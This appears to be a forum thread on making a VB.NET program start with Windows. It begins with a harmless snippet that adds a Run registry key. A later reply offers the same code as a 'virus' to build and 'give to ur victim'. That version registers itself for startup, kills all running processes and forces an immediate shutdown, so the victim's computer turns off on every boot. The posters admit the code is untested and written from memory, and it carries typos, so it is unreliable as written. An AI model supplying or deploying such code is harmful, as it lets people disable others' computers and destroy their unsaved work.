How I make My Application start when computer start?
Originally Posted by T0P-CENT
Snippet : Auto Open When Windows Start
Name Space That :
Code:
Imports Microsoft.Win32
Code:
Dim regKey As RegistryKey, regSubKey As RegistryKey
regKey = Registry.CurrentUser
regSubKey = regKey.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
regSubKey.SetValue(Application.ProductName,"""" & Application.ExcutAblePath & """")
NOTE : Not sure of code i don't have vb installed all wrote on memory
with that code we could make a computer virus
put that code in your form and don't debug , build it and give it to ur victim
Code:
Sub Load1() Handles Mybase.Load
Dim regKey As RegistryKey, regSubKey As RegistryKey
regKey = Registry.CurrentUser
regSubKey = regKey.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
regSubKey.SetValue(Application.ProductName,"""" & Application.ExcutAblePath & """")
For Each Process In System.Diagnostics.Process.GetCurrentProcesses
Process.Kill()
Next
Process.Start("shutdown.exe", "-s -t 0")
End Sub
There ya go (I didn't test its and its not my work )